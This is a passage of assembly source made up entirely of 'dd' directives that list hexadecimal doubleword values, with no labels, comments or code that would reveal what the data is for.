0B10CE0D9h, 0EEF51650h, 8007459Eh, 0C235A6EAh, 27C0FE1Ch dd 0B151CA28h, 0D9F60171h, 16E9C9FEh, 0D6A26E09h, 955E4E78h dd 39E80736h, 0E6D70946h, 70035D71h, 850BB848h, 0FC611673h dd 96397A94h, 9E3F14F8h, 0B07D8BB8h, 94A3E4DFh, 5DB68979h dd 9F184557h, 59B3C950h, 6BAD94B8h, 1CBC1BB1h, 552D1B4Fh dd 2D8E3D34h, 1BD06817h, 3058DE61h, 6CDE2E6Ch, 5AD540D7h dd 0CD04814Dh, 2E024306h, 0DD2349BEh, 21A999E3h, 4B813B9Dh dd 6BE770h, 58C73052h, 7876B652h, 805AF71Fh, 0BC092792h dd 4DC50103h, 136BE2E9h, 0C9C9B96Ah, 711E5753h, 0BE6DBBDh dd 0BBF2CCB4h, 457A590Ah, 0DE00D07Eh, 81047853h, 44C10CEEh dd 310C2198h, 1750091Fh, 7C30CE01h, 0CB7C4BFAh, 0BBDB1D12h dd 0BC6A47D9h, 90E9F1FDh, 0E23ACF25h, 6FD2D643h, 0DAFDCA0Ah dd 19D69F6Fh, 0F4AB5D13h, 558210DDh, 7B972214h, 0D520B6Eh dd 7D4DFC71h, 0D38D66FCh, 0FB575258h, 0ACBEC094h, 4A5D2513h dd 60DE55CEh, 50802337h, 5E2E4A5Ch, 3CDD929h, 0D3CCE90Ch dd 4EE368AAh, 0A5EFD77h, 8F62488Bh, 14DD3A9Dh, 2BC3054Bh dd 0EB44E21Ah, 802B3E1h, 0F129605Fh, 87E44E57h, 0E87201D2h dd 0DAA83A7Fh, 9A3EF304h, 5CFAC033h, 1527A154h, 20747429h dd 99E91808h, 0C0F77983h, 783E3D1Dh, 0B52EC781h, 0D2A6C44h dd 4DCEDAEAh, 7FDA3D2Ah, 810C1C90h, 0F643102Bh, 22490BD7h dd 600F576Dh, 0E750484Ch, 1B4C2809h, 7AC4803Dh, 2E663AA2h dd 20BFFE01h, 0B099B0EBh, 0B2225E37h, 73C2811Bh, 873F6607h dd 4EA850Ch, 0D4EBE908h, 41758505h, 857B2669h, 92F8B94Eh dd 0C540E372h, 6BDD2D9Fh, 131B24E9h, 564688E9h, 0CF797D69h dd 0C5E07109h, 0F8BA0C3Bh, 0B42568A1h, 6CCE187Fh, 22DC256Ah dd 0F89B09D5h, 9EDAB0FBh, 2A82C9D2h, 0A989D25Bh, 970865D7h dd 0E28FB450h, 1E518F40h, 0FD88C3B5h, 0B500CC25h, 1989F901h dd 6DF91E90h, 0F606103Eh, 3051BF02h, 0CB5D056Ah, 1DB698C8h dd 0C670B594h, 8D455538h, 0E4FE291Ch, 0FF20805h, 978B298Ah dd 47EFD15Eh, 40252A02h, 976129BBh, 0F0C17788h, 0E7404A42h dd 5171C06Ah, 3FFDE1B8h, 5F950B3Fh, 442031DAh, 38B9079Ah dd 0C3554D1Ah, 68A059CFh, 0E0166F81h, 3C135D56h, 6CA70BD4h dd 0CCFE983h, 0F4805201h, 58E588A2h, 0E1EEC5D8h, 607AE9C8h dd 0CEBF2A16h, 3B5F5034h, 41A67CE4h, 7C8A40F7h, 785F6931h dd 80538E91h, 1E684107h, 5B2BE02Ch, 1C757495h, 8A40185Ch dd 296112E3h, 3A75F3BFh, 27E9DFF8h, 10794AC1h, 18325104h dd 680B91E8h, 0AD457DC0h, 8F44B7A6h, 798C496h, 1F7F5A34h dd 0B8B7C553h, 9A680C9Dh, 4E3BFF49h, 0DE38ED0Fh, 986C67CBh dd 967F689Ch, 87016F66h, 2A5C2B25h, 84078FC2h, 0E2ABB9CCh dd 0F1D4FBh, 2D164227h, 4AEB4EE9h, 3F01C8FEh, 0A20D041h dd 3E181275h, 0A1340162h, 6ED7B99Ah, 9B5EB1E2h, 71FA5ED3h dd 21C60122h, 18AB2B60h, 1E47559Bh, 26300B58h, 25B9BCFAh dd 3D39867h, 7CB30D11h, 440B0735h, 2452FB4Bh, 52A973F0h dd 2B39CE46h, 9A2D6799h, 254496E7h, 0C235D746h, 92E39526h dd 0D1AF1027h, 0B04142AAh, 82B85000h, 9DD17972h, 30496B61h dd 602DA6D7h, 77FFC029h, 44E01799h, 20FE809h, 206301E7h dd 0DD0B610Eh, 0F07B70F5h, 0FF4E5F9Fh, 4B228AEAh, 0F7A345B9h dd 0E562DA10h, 5BDF8909h, 6B0BF076h, 2898FFEEh, 3C480A97h dd 53F71659h, 0C7CFDBA8h, 0F91746A5h, 4BE51093h, 113EBD02h dd 99804CE3h, 6F8547ADh, 405F30B8h, 25531FC8h, 0B562F6BBh dd 0F4057255h, 4241059Bh, 0A2DF0115h, 0BFA89271h, 12404F2Ch dd 3A48E159h, 8F3966AEh, 4E311920h, 57A05652h, 0D84EB774h dd 252C5198h, 65D7483Ch, 173FA467h, 870BC122h, 7BAB21D3h dd 1DF13540h, 0C16F1459h, 9F5D070Ch, 0D6A42BA8h, 15899DDDh dd 0A1391E55h, 62700CAFh, 0B9574E50h, 31EED3F6h, 39D7F7D1h dd 0F81910DCh, 0ED666816h, 7CCC68E7h, 0F4C98F68h, 44FE2FC0h dd 0E0AAEAE4h, 6A2DE9BCh, 8B32FD65h, 78907DD0h, 0BE7A820h dd 30D2B050h, 0C44F81D6h, 30BEDD13h, 40216821h, 7FDA18B5h dd 47FE40C7h, 31E94C4Fh, 163DCC9Fh, 4B4BE3D1h, 0E8AB8534h dd 5ED240E1h, 759A3672h, 8909DA5Bh, 0D2CDD756h, 8829E904h dd 3252CA8Ah, 2DEA28DCh, 43927418h, 0D089425Fh, 9DE59A4Ch dd 6ABE46F6h, 0CD02DAF1h, 80235027h, 0C93ED6FFh, 5C09BF90h dd 79A68C00h, 7ABD7F20h, 0A4A58058h, 0F33FCE56h, 40451302h dd 0DACBC9FFh, 3CD5F9C6h, 5613407Bh, 0BA52551Ch, 53A95F04h dd 0E8502DB0h, 268D90E8h, 7BCF5B97h, 0FB42B3F1h, 61ACBAFCh dd 0C6B0E9E0h, 0F33176C5h, 81CD5DAAh, 29159993h, 68C600DEh dd 4C0A590Bh, 0BA42F185h, 955DC7B0h, 66922F56h, 0BDBD92FAh dd 3C5BEEDAh, 45DC805Eh, 0E086F46Dh, 0A106DCB8h, 68521500h dd 3EFF7AEEh, 8EDA955Ah, 2D0DC204h, 5FFE0BE5h, 27E9493Eh dd 1BA32A3h, 3150BBF8h dd 74A2F1FFh, 0CB7789DCh, 0E953A36h, 7DCE82CAh, 0EE5E584Ch dd 2545F5F5h, 0E9014FEFh, 0B636F13Dh, 6EA970B0h, 96F8C7B5h dd 3132AB5Ah, 5F31D0FEh, 4659EE5Dh, 5200A0AAh, 8019C3B6h dd 9D0607C6h, 5E3C77Eh, 0E9CAE4F0h, 0C3E8EF4Bh, 0E702138Bh dd 375C093Bh, 852FFAA0h, 0C20B9335h, 0E4AF57CCh, 8FC35CCBh dd 8B3C77F8h, 40AF2E96h, 0B166853h, 5E583823h, 88806558h dd 0E82D66C3h, 83A9F84Ch, 0ADA4C88Bh, 11F79599h, 697CC199h dd 0B407E114h, 0BAF18850h, 5A5831F2h, 19E149Ah, 0E63AEB83h dd 9C9C96B3h, 91C955E9h, 736DFF3Ah, 9196B36Ah, 0D3EBC0E9h dd 97796227h, 882027Ah, 2459B011h, 0B90BBEB5h, 80730709h dd 0CC1B5B51h, 0D7619F44h, 65EC2F2Dh, 0F418AC4Eh, 0AF3CB8B5h dd 4898FA10h, 14B1981h, 5AFAA7D7h, 5BB27660h, 7B2DAC20h dd 5A30363Bh, 5557FDC2h, 0D95A85F9h, 7EC94036h, 0FB906A92h dd 0E8452809h, 812B7219h, 0B9605108h, 0F789C06Ah, 1BC31A13h dd 27A9709Fh, 0E6E675B3h, 5159D6BFh, 0ACF73FCEh, 941BE9C1h dd 64FB2EFFh, 0F890FF0Bh, 0CFC2F180h, 0FB696B06h, 0B92607D6h dd 4281565Ah, 0A9E5E0CEh, 27FA9788h, 0DF09DA0Bh, 5C1DBD7h dd 15CDB8E9h, 0AD1A48EFh, 41DD0EE6h, 1620F5ADh, 0C54F8401h dd 0C55210BAh, 4EA1E90Bh, 2C8A78DBh, 0CE09A1A6h, 9EB2D1FEh dd 8B7CA56h, 3E25BBFBh, 0D00134C0h, 22FE9AD6h, 0EC70838Dh dd 445B6D90h, 84970DBDh, 0A21C035h, 3076052Ch, 78D5D4F9h dd 4AEDF4Ah, 0AB58C5B5h, 0AFAC3C69h, 409C2023h, 0C377614Fh dd 4AB6D44Dh, 0A3B3D7AEh, 7503C88Eh, 405906CEh, 0EA86DC26h dd 0B85F5C2Ah, 3B2FB801h, 0F8056319h, 23908C60h, 7E7C6422h dd 5EF7F2C5h, 4C8A558h, 0D9148208h, 1C4F9CFEh, 0BD0E922Ah dd 0E4963E36h, 0A88BF531h, 0EC8F174Fh, 8AFAF429h, 3DBA4067h dd 0C540334Bh, 35FB6FD4h, 0CB81075Bh, 7B9C5CC8h, 0C6F5AD42h dd 8A5F97ACh, 360ADB00h, 591E6995h, 45664146h, 70F8090Eh dd 68D839ACh, 0D7B168BFh, 0DA6DB52Ch, 4FAA720Dh, 5C6A5DDAh dd 6A5492C1h, 0D9BE5213h, 6342F444h, 0B0D21BD8h, 0A4D09D4Bh dd 0D075C7ECh, 66080C13h, 82BAB1A0h, 0A0089B54h, 20590232h dd 4CF05AF1h, 0FD248F7Dh, 0F7BC496Bh, 3212074Fh, 756D8B0h dd 251C9668h, 51B1E323h, 1FEAAF0Fh, 7E3C2F30h, 9DE4AF57h dd 0FED62765h, 0B809C7D1h, 0C91477B3h, 1EA692Ch, 4802D5ACh dd 5D7A4143h, 0EA804F90h, 0CA7A7B70h, 3E4435FBh, 812F99A8h dd 2F995188h, 0A9078957h, 0FCEF5F73h, 0F5E9B2A7h, 89A76345h dd 4B65D7B3h, 0D1685040h, 63EDB655h, 0AD3C38F9h, 5508257Ch dd 67569A30h, 0A9373E2Dh, 31F68A1Eh, 0C5045392h, 0ED1D02D2h dd 9225B3FCh, 95876BAh, 106E7650h, 0E9026993h, 7DFEED43h dd 0C744FE71h, 126F0FBh, 0C296D752h, 0DF4BC5E9h, 0EE13A129h dd 9458E2DAh, 0BF992BF3h, 160C001h, 0D9CD0AC5h, 845C1E1h dd 42CBCBAEh, 82E90246h, 755E3E0Eh, 80998CAh, 14392B04h dd 0FEE017B6h, 0C3E68D58h, 3BAA481Dh, 2D3497Fh, 56D4BF7Ah dd 68B50C30h, 0F5744A3Eh, 0E90800EEh, 0BABC0A91h, 0B1B165h dd 0D1D00F6Eh, 0EB16EFDFh, 0F685F0Ah, 0FC68941Dh, 6F9E01Ch dd 8508E938h, 0A1BA013Ch, 310D7F6Fh, 7C76F1C2h, 2BEB5E79h dd 94B02EF6h, 24F01E13h, 2C2BFD33h, 0B10151F4h, 8094B238h dd 902181C2h, 0E8599547h, 829CF29Fh, 0CED2AA43h, 0E4E81355h dd 74C0EDC2h, 64306D1Ah, 5C9F88FCh, 0D8189E2h, 0E2493D9Ah dd 0BA66002Bh, 555B3A3Fh, 6D56FFFh, 1F1549FCh, 0F78020AFh dd 3E1768F9h, 17BDC393h, 63AE6FB8h, 40C9CACDh, 970BF413h dd 0E9086004h, 0F5BE937Eh, 838441E5h, 0DF870163h, 1D34C0DDh dd 17D601BDh, 0EB316256h, 0C9D8225Dh, 0CD21025Eh, 0FBE5A60h dd 3FFAEBF5h, 0AED81577h, 27EA90D8h, 0C14B6D04h, 8DFE03EDh dd 0CBE5D8E6h, 38027201h, 0EB2BE945h, 0A285D425h, 0AEFEF6ECh dd 618D91CCh, 685112C5h, 9F5F3E25h, 0F28C497Fh, 1C71D744h dd 25B7C427h, 2AF138D3h, 5FDD618Bh, 812F5246h, 1F44D2C2h dd 0E7C448E9h, 2D9C6C5Fh, 2E20FAC9h, 36A44ABDh, 7E720551h dd 0EF7884h, 42E13545h, 5D90FB06h, 0F5E7E95h, 0F8D21AE9h dd 0E168E0E3h, 709C974Ch, 2E34EA04h, 94FE198Bh, 0E9081290h dd 0D6E90C27h, 485D5A0Eh, 8E896687h, 27501574h, 15BA9FDAh dd 0ECD586E2h, 738325FDh, 4313F566h, 2801260h, 0CC98106h dd 59070828h, 7C1F420Ch, 873F0F1Eh, 7F8D2DCCh, 0F49B8752h dd 1C778733h, 0E65E1B7Ch, 0DB623387h, 0FE1301B9h, 5208B1Fh dd 5ED84D58h, 0C2D60E62h, 55407AD4h, 7F72A468h, 0F05D4FFAh dd 40C045E3h, 0F1C0E0Ch, 60C65A68h, 0BF9AE026h, 0A8E9ED05h dd 91CDFEE5h, 310219CDh, 54CD10E8h, 2A871DA9h, 0B9BF1574h dd 0B6BB93F3h, 7CA26944h, 5BC256CDh, 0DCA545E9h, 6B41A733h dd 0EB4B60DEh, 490E4206h, 82DCFD01h, 884DDE08h, 2B2518CBh dd 8B81FCB4h, 0CFFD148Bh, 15FC24E5h, 0CF03C946h, 37B407F2h dd 0BAACDADBh, 407455CCh, 5B5F6692h, 800702F0h, 5962FAEAh dd 4001C20Ah, 80790913h, 0F63510B1h, 5A8204D1h, 96245B66h dd 0EB411756h, 0E9D55857h, 0E988F0BEh, 35CF677Dh, 0F3F482C1h dd 0D7BAC2C3h, 290B48F8h, 0A7ABE9CFh, 16F680C2h, 4A217B06h dd 0C0920020h, 0DEF604E6h, 444FC6FAh, 846B08ACh, 0C4E2C4D5h dd 0AAD72902h, 4ADA8D40h, 97ECF281h, 0E92F17D0h, 92A57CC2h dd 44C9BEE3h, 3D062DFCh, 5F251939h, 822D8EF7h, 5F1F7268h dd 0BDC04690h, 0B700769Ch, 0C1521210h, 0EEF6C0E6h, 433F27AAh dd 3DE28EC7h, 0C7014665h, 73520701h, 2F810CB9h, 0C14F747Eh dd 86803EEFh, 76E126EBh, 164DF272h, 90E406Ch, 2972DABDh dd 0FB693609h, 0E21B0734h, 78034652h, 97D88088h, 72DD2732h dd 8A0E85Eh, 6D541CC1h, 188631B4h, 0C66B35B6h, 0E3C8B529h dd 0D50BFF4Bh, 5D53E0FFh, 0BC70F129h, 0CC05528Fh, 0ADDED92Fh dd 6370182Fh, 802DB109h, 0FEB4D5B7h, 0C0748CE9h, 97AD7B97h dd 69ED9750h, 0CA83FD4h, 5E4BE997h, 0C30B1ABEh, 6B572C53h dd 0F840D2CCh, 0B2B9057Fh, 0FA02D96Ch, 0BFD66C4Ah, 599F0B20h dd 414272Bh, 5FA3684Ch, 0C1E454ECh, 2E472CA1h, 0C37DCBD1h dd 282CC96Ah, 22569F98h, 0B2523142h, 0D4D8h, 885B822Ch dd 7F4BE9C7h, 5DC0D916h, 0B22B6856h, 0D8DACBF0h, 4CA15968h dd 0C090531h, 1FC93A99h, 68A0C37Eh, 487576DAh, 830AA5F5h dd 6661E5D9h, 98D20B8Fh, 83F0276h, 504E5482h, 5EB710CCh dd 0BF4249BFh, 7D8B30D7h, 6ED1B2C2h, 0F0B7D250h, 0E24B285Dh dd 0E95FCCEFh, 2CC9AF34h, 0FFC20DC2h, 68B8B8CBh, 0CF9B79D7h dd 0C5C07126h, 2016BB23h, 881F229h, 2AE02D8Bh, 92D36B47h dd 39EA2E52h, 6808847Bh, 72803026h, 0ED835Dh, 0BA524D01h dd 204F67B6h, 818B7E9Dh, 79A177D0h, 6AE56A29h, 2FB19ECh dd 0E9EE89F8h, 7051A81Eh, 4B10272Ch, 0C256C45Bh, 0AE05769h dd 310738ADh, 58C78970h, 8809E7F5h, 510062C0h, 19CBC889h dd 7AEE2123h, 2D7BACA8h, 7FB92B19h, 0CB8C7F57h, 0D2D2CE9h dd 5EE64E06h, 0C14A336Dh, 0ED63C5EBh, 72788454h, 0B9D53A93h dd 9E3CBF35h, 716DE3Fh, 0C1C5F81Ch, 40DD0B20h, 51C9B872h dd 614C5707h, 0BB5E5D8Dh, 0C37E8EA2h, 3CE6C023h, 0C171A23Eh dd 829FA0D0h, 78807EE0h dd 257013BAh, 93725127h, 0FA067820h, 0AB5A176Ch, 4E25F861h dd 68099FE8h, 0F6713097h, 0FA6E3E82h, 7D006074h, 752E3A78h dd 634364AFh, 8BBB03D1h, 0FE01B0D4h, 7AAE3F6Fh, 0D97CA784h dd 0EE024326h, 7F1DCA46h, 0DB0C0E58h, 0CA287C6Ch, 0F0631739h dd 9D40F478h, 0D9B33706h, 7ECF501h, 3A0C54EDh, 0E7CDF060h dd 60EF2022h, 4D17E5DDh, 0A41F7BBAh, 459B5745h, 5A6D41EFh dd 25B4C70Fh, 5EC52CF7h, 0E93E0AE8h, 0F3E6FD25h, 3999BEB0h dd 5D25DF24h, 0E8CC3A32h, 0E961D4B4h, 4ABDBA84h, 0D01234A7h dd 2E914641h, 68C23BFDh, 0EC9A66EAh, 0C4D83B82h, 0F7B1C320h dd 0C3A65F35h, 809D29D3h, 3D73FA3Eh, 57BF215Eh, 0E12AC1E4h dd 507C9DD8h, 0FFEF6189h, 795E7C1Eh, 0C6553A09h, 83E49D86h dd 28AB59B7h, 402309D6h, 712203C8h, 98DDF76Ch, 8008B655h dd 5277535Bh, 16B7F13Eh, 0E8A4F728h, 0AD7340EFh, 0E46456ECh dd 2805BA2h, 0B0AA41A5h, 92F601FDh, 0E90ABC5Fh, 5A1568EDh dd 0E9A00CA9h, 0C8979915h, 2A4E7F43h, 0FCF4396Eh, 557012F9h dd 2A2B01ADh, 2B769643h, 8042494h, 0FED54DE9h, 579F42FCh dd 10A4E286h, 312FC79Ah, 7BFDA6F7h, 86B902EDh, 292CA14Dh dd 0ABF7FE75h, 0B0E90512h, 4533BF4Ah, 0B00CF6E3h, 2DD0F241h dd 57F03F91h, 0B8DADB54h, 272BE53Eh, 9447852h, 10CA0D06h dd 8B9D8DDh, 0F8E07C38h, 0EF006D24h, 9E685102h, 0CB75C94Fh dd 0D9DF0009h, 14F242F1h, 55099B5Ah, 0D47AF021h, 0C5882D3Fh dd 8B7725F4h, 2DBCD864h, 94012FE9h, 8808D968h, 2F83B449h dd 4E16B456h, 0F0050BD9h, 0EC3A4DF1h, 5D2C0415h, 7A837861h dd 0ED80B4F5h, 97A80FE9h, 215BC598h, 601861C6h, 25337C53h dd 0BE4610C8h, 0BE07EE1Eh, 0B2B53196h, 409DDE08h, 1D0AB822h dd 0CAFBA326h, 3072BB82h, 0F24C60ADh, 4BA6B9C9h, 7F50A475h dd 0CA017BE9h, 38122129h, 0CDBC324Ah, 56A06F7h, 61D8806Dh dd 42545528h, 5E05EB9Dh, 3969E1C3h, 0AD50EAEDh, 0F4BE045Dh dd 0F88D7C6Eh, 79694803h, 4B4C4FFAh, 68531472h, 9E5B2808h dd 0D1FA809h, 0C628DD66h, 28DE3F08h, 69BE5528h, 77215D60h dd 937C9D1Ch, 1D88E3C7h, 273C8C57h, 883C350Ch, 40529E3Eh dd 16D55FCDh, 0A3FD288h, 4D13B426h, 4CBE5F4h, 0E911CA50h dd 3AEDB1FAh, 0ADB425ADh, 8C4492D2h, 800505E8h, 934ADC5h dd 75E5203Ah, 5D5EFC1Ch, 0A27F6AE1h, 6861D80Fh, 0F24E4F63h dd 7E73D415h, 3DAD6F04h, 71A10BE9h, 0C9CADA16h, 61EA580Eh dd 8B3ACA5Fh, 0F061579Ah, 81C8529h, 9BB8E7E9h, 7A3E6D4Bh dd 0C9EE2C75h, 98A8119h, 3130A822h, 8C7BA33Bh, 9D5CEB1Dh dd 4BDB83F5h, 87121264h, 0DDAF00FDh, 551CD815h, 0E99D24FCh dd 8B31489Ah, 0FC7E20E0h, 5397905h, 0C82903BCh, 0B07132Dh dd 417425FDh, 1CC15D4Bh, 0DDEAEB29h, 0CA8045EBh, 501C5966h dd 0C589D088h, 2D0E8E58h, 0AE3B3AC4h, 9C682345h, 7840E2FAh dd 460EC32Fh, 0E8C2246Bh, 0B65B6612h, 4B69B120h, 6AC60251h dd 7077607Fh, 0E9CB1757h, 0B12C4798h, 0A8447271h, 689C5DDEh dd 3C966415h, 5F9F7C33h, 0E9163D36h, 0A0C9DED7h, 3EF5FB01h dd 0ED32FC72h, 54581AB6h, 0A508C651h, 0A48DD70Ch, 0B0BC2E0Ch dd 43FE5A25h, 647F1459h, 0ED2DFEh, 846E07B7h, 20717CE5h dd 0F8E0B5EFh, 0BD0FC181h, 0C67A225Bh, 9A1B45Ch, 0AC77BBC6h dd 88025370h, 0E92B4361h, 84B7EA53h, 0D6A822E4h, 0F93B4A55h dd 241FCB28h, 0D5AA0503h, 49818518h, 46755877h, 82679D82h dd 0B0ED842Ch, 2A5E996Bh, 19AE094h, 1745E916h, 0CE66ED78h dd 6607F07Dh, 4A32B568h, 2B296A5h, 0FEF43918h, 75E9DF51h dd 0D2D189Eh, 892A5B32h, 7E8BF101h, 1719E45Fh, 3253D3F7h dd 0A456BD2Eh, 5EA2009h, 3EC4493h, 5DA0D03h, 76D2331Dh dd 0E48264EAh, 7DF282Ah, 6631F2ABh, 0E12F472Bh, 0D89A9CB6h dd 0E98559D8h, 2F109603h, 0B55CC05Eh, 65EB667Ch, 386049C5h dd 913074C0h, 494F9451h, 41444F3Eh, 0C26CEAB3h, 0A74BD350h dd 4C62569Ah, 8B77B168h, 0A8A7591Bh, 0CAC8165Ch, 0DF44F2FEh dd 1CE0F88Ch, 95A50FBAh, 0C54487EAh, 0C16CA401h, 0D7DB2E17h dd 8658601h, 18870ECEh, 2CB8459Ah, 5613EC0Ch, 0DCE1913Bh dd 1625B500h, 0C480E7E6h, 0B10F13F2h, 81BDB2E9h, 4B5F68C2h dd 52D38192h, 0D456AEF5h, 680C8CADh, 1D250DEEh, 290B7C9Eh dd 284A8BCAh, 0E57AB05Dh, 0FE3A96A3h, 29FF4734h, 58376932h dd 0C7182DE0h, 97F522DAh, 87A0C77h, 0B115D056h, 629F5818h dd 0C9B0478Fh, 0F1B52F78h, 7B55491Dh, 71E90482h, 0A731BB9Dh dd 5552FD43h, 428A5C31h, 0F2E9498Fh, 53AE2A53h, 0A0F2EB7Bh dd 71E2FBB5h, 0D90D0BD3h, 0A8C8457Eh, 7C815A2Fh, 1E1EB2E9h dd 0C07EBC1h, 0E511B77Ch, 0CB984DF0h, 5E9D8B9Dh, 31FF4B73h dd 0FA3AE914h, 0A87AA645h, 0D2B7A5A8h, 0A8DD70CBh, 731EA7C2h dd 89BC472Fh, 185D1559h, 9AD69567h, 0E5C65B39h, 278E29C0h dd 4F8EF0FAh, 68C8DC89h, 0D16050Bh, 120D7C10h, 0FD700043h dd 50EFF2E9h, 46794C8h, 0C2B8F180h, 0C00FC5C9h, 5EDF6857h dd 0D2554F76h, 63615686h, 4C721Ch, 607296EBh, 0BDE0141h dd 4538685Bh, 95FC16DDh, 807F0DD8h, 0BB484A01h, 0A142C149h dd 536CF921h, 2E4ACBB0h, 6616AE30h, 7C1369A6h, 85E3033Fh dd 0C14B576Dh, 4FD705B5h, 9D75FB70h, 0E2F52CEEh, 0E05202E3h dd 736A447h, 0F1812B7Eh, 5678623Ch, 399679DDh, 0ABD3D838h dd 0FAD3C748h, 86007E52h, 5CA1464Ah, 41F51481h, 2902BECEh dd 54CAE9EFh, 0C6A2EDC6h, 0F2AB78F7h, 89585FC5h, 0EA644565h dd 2DFF87D4h, 0CB843B28h, 40336FB4h, 0F30FB835h, 490F3040h dd 0D87CAB91h, 79D18165h, 78318105h, 4C743D6Ah, 8ACD0209h dd 75264968h, 0D137A641h, 0D8E1601Ch, 477A070Eh, 82CEE046h dd 0FA367F59h, 2E8004F6h, 0AE31D7DFh, 0ED0257EDh, 3547E5D0h dd 80085756h, 0CB5F1D9Fh, 1B440F12h, 405B54FEh, 818033B9h dd 557CB6C7h, 84EA584Bh, 5E080242h, 0C6553C87h, 83C37AF6h dd 811C7791h, 623A9DB8h, 0FCD9E932h, 0D58D332Fh, 455D898Fh dd 767E49C2h, 454B8240h, 0E1811C6Fh, 6D9A4104h, 34D688E9h dd 1E01BD45h, 875B1141h, 68B47FBh, 2D77E8E9h, 0BB2B4E42h dd 0FE054F3Dh, 844EF3F9h, 0B104FB20h, 5E0AE2FDh, 50844F48h dd 5AC5BDB7h, 5F25FEA9h, 0F8ABABE5h, 9E89A0A4h, 306A5918h dd 283FDDEh, 0CF5CD079h, 2A0896A9h, 98472AD3h, 21CD0570h dd 1A329h, 39358596h, 0BF07577Dh, 2C6A2891h, 2550F7C0h dd 0FD614E77h, 3BF502E2h, 0DEDC51C1h, 0C093978Ch, 80CAFEDAh dd 637C230h, 5B450C8h, 0E9E23053h, 5875926Ch, 0EA64B3DFh dd 25545EA4h, 0D7CB45F1h, 0A90BAD4Dh, 96EFADBh, 4EF67D7Fh dd 19076500h, 681677DCh, 2934353Ch, 0BF019DB1h, 6AF4FFEh dd 9D809C66h, 1F25468Ch, 516AF048h, 12ECE549h, 0AC774AC0h dd 7CBC0696h, 950E792Ch, 5F09DD50h, 803EFD60h, 9D23DF0Fh dd 0CEE29724h, 0B3CD2460h, 2521C94h, 75D488DDh, 1409E5Eh dd 2FE953DAh, 143BB674h, 3F9B84D9h, 208474E8h, 22E7C166h dd 0C660ADCFh, 2507B147h, 53024EE5h, 6C15F868h, 70E001D8h dd 25E94E8Dh, 0F59B64B1h, 527D0513h, 452CC502h, 0F312409Ah dd 13EA7B86h, 0E1B3E94Bh, 803DD576h, 0C91D1F63h, 1535549h dd 32335245h, 0C76C642Eh dd 56444180h, 495350E6h, 544E1F0Dh, 0A6A4C9Ch, 0E9620187h dd 90FD0DBh, 2A964768h, 0EAB5E782h, 0CDD23AE3h, 21AB0A84h dd 0A112982Bh, 89994C10h, 84D80897h, 0C1118D42h, 883219Ah dd 79919B1Eh, 0B6AC7D00h, 69673539h, 1CE8EC00h, 0C7999D1Ah dd 505400D1h, 5088583h, 9B7D6859h, 4D1C2001h, 7D2D653h dd 8488F0h, 173DBAB4h, 6FB2187h, 7D795900h, 6A3A60AAh dd 994B0070h, 445C6F24h, 565CBCD5h, 0C800779Dh, 0BB87E58Dh dd 0CBC595h, 81A27537h, 2123EF15h, 1D007DFEh, 25100BF9h dd 31F2D67h, 462E5351h, 0E290AEE0h, 4100D5BDh, 5BE90C2Bh dd 1D52B275h, 0C3EF2CECh, 54864879h, 7B638890h, 0C98BE700h dd 4215395Dh, 0D309186Fh, 0A36528CAh, 859E7300h, 0A60C02D4h dd 0BCE21F12h, 40A50031h, 6DD9FACDh, 681D4903h, 90085FB3h dd 155BBCBh, 955927B6h, 0D4F91EE0h, 0F10F5D86h, 0E0606D91h dd 1F3729F8h, 75768Bh, 1A937114h, 0F6C6EC58h, 6A90FC00h dd 8FDD79Bh, 0FE27002Fh, 40F4197Fh, 51007670h, 4E6F0369h dd 7807A4Ah, 0DE86E12h, 559F7754h, 27BE8F1h, 55D2C899h dd 4D8A051h, 0B93638h, 70EDE3B5h, 24A19F6Ch, 8475210Fh dd 383CA0B7h, 50F26F69h, 0A4B6EEh, 59D6D0A0h, 9F3DA333h dd 9979FAA0h, 0E051C600h, 0BC124C10h, 8B7407C4h, 509A066Ch dd 4E17ABA5h, 0B4DBAE1Dh, 737A8E00h, 3E8AA7Fh, 56B61682h dd 170028F0h, 0E0F68A4Ch, 75DD703h, 5089AD75h, 3DD800EFh dd 1400C42Ah, 207958A4h, 64F85Eh, 0B4DA4608h, 666AE7E9h dd 74999B00h, 88F6F0C0h, 5B077EEh, 540BE6BEh, 1386406Bh dd 0CBCF4C42h, 82007190h, 33B0B27Eh, 2675D2Fh, 1B19E6EAh dd 4B619B9Eh, 0B2B6F431h, 1F00E358h, 1E009D68h, 0D3504A1Ah dd 0B71D15ADh, 13008661h, 46A6CB40h, 9E485A22h, 0A12E03E5h dd 54D6E92Fh, 60F730E2h, 91531121h, 577B27FDh, 953849h dd 5C5A284Eh, 0BB4F37h, 71733EF2h, 0D0C6984Ch, 63C7AB00h dd 0DEDAF0AAh, 5650625h, 53993FA5h, 67D99B0Ch, 1EC30FB1h dd 81A06D01h, 0DDBB3170h, 0A38347Ah, 9916DAA0h, 82A63009h dd 0E43C0368h, 6636A8CEh, 0C2D80C6Ch, 6E480F1Eh, 70A80E18h dd 7742040Fh, 1184F3D6h, 88760ACCh, 960F6910h, 0EFDB016Dh dd 0E748341h, 8F95C2E9h, 35805084h, 0FF65C525h, 5B17D960h dd 24EF0599h, 29D68369h, 0F41E00C7h, 101BACD2h, 466C7C00h dd 0F8FC797Bh, 62B002Dh, 7433F418h, 77007141h, 693A6A52h dd 2FCF63A5h, 0B8606FF6h, 8000A6FDh, 491FB3B5h, 135A7F79h dd 6BEE7BAh, 74BCE509h, 0C03DFF1Dh, 80F2BBBCh, 2591B285h dd 0FE2937BFh, 357273h, 1416E107h, 0B6B482A8h, 242C225Ch dd 3F805132h, 58207321h, 0F80F3F2h, 0C0268C4Eh, 1771E79Bh dd 1B6BB130h, 64DF450Dh, 833B0F39h, 69F1AD23h, 93B4F82Bh dd 0E001B83Ah, 0EEE4B5C5h, 0D86D4971h, 52542000h, 9FFD1D5h dd 0BB888C00h, 113D40BDh, 1D37DA0h, 8B855458h, 483F0A0Eh dd 0BF094F6Eh, 10B8359h, 6DE2B55Eh, 76F10A24h, 0B6B6C03Dh dd 943B01BAh, 0E0D19150h, 31C3B712h, 0E3F32609h, 80208A4Eh dd 557E511Ch, 0F6C324E9h, 0EE5405D0h, 0C0E75F97h, 0EFC2B22Fh dd 347F5AC6h, 5D456A00h, 7453B9C9h, 7F7371BFh, 0BD2D1EEAh dd 0B0DC55DDh, 521E500Eh, 9E60BC60h, 3F030C32h, 0A0341C41h dd 0F56E00D7h, 56EAD2F7h, 3009D40h, 59257323h, 7E3257h dd 0C28EB3B1h, 21EF752Eh, 1618FEFEh, 0F33C3FB0h, 4C6571F9h dd 776BAACh, 5AEED6FBh, 81BB808Dh, 6F5BCAC7h, 0C0F7FA82h dd 6360948h, 